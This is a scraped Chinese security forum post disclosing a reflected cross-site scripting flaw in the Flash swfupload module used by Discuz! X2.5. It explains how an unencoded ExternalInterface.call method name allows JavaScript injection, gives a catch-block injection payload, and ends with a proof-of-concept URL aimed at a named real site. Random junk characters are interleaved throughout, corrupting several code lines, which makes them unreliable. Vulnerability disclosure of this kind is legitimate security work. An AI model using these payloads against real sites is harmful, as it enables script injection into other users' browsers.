找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2093|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说0 V- v1 d7 G/ F: v
) `; w2 C# v( C* A$ f. {7 @) A' k+ ]
flash.external.ExternalInterface.call($methodName, $parameter)
. c' ^$ L: b5 C. g9 C' W: [在浏览器中执行的是9 ]( V% A6 T9 k" I1 `; a
' i$ r/ A% X3 [2 Y7 ?
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}( j& j/ P2 e/ [( D+ V; r# D" g
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: h% g8 A- s1 n, r, s# @1 R. E! S" N. G  t, q
flash.external.ExternalInterface.call("object."+$methodName, $parameter), m- @! |( Q) s& P4 l; C, A9 t9 ~- C
$methodName = a())}catch(e){alert(/xss/)}//
' S- Z$ G: V8 q& P1 ?$ \& o" u9 S! c结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。. ^  L+ ^' H2 Z/ y  g0 M

4 {) h# F9 o2 u0 ]( xtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }* P# y2 E% m0 e) G

* ~( ]- K% p# c! s7 {4 `这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
  G, f8 o) P" X. X杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
3 }/ o9 T3 m; m6 ], H
; ~1 L* f9 y4 a# [
9 |8 x3 Q, J6 v% v- D( U# C, m6 v
4 r  c9 T1 |+ P5 y4 b+ S# r: z漏洞文件:upload\static\image\common\swfupload.swf9 ]/ F7 r0 g2 r7 r/ i" F
  u& s+ g3 }) ?  _$ G
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
. l( I, \" B, C1 t7 n# {
& ^2 O1 F% N3 I1 s
* ^3 D2 J' l( }( u& n& S漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//5 g+ h5 }) G  n( l, l% L6 M

! G: C0 H8 _, O5 I
3 f4 T+ a3 x4 h5 _6 F1 w' X1 A0 ]
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表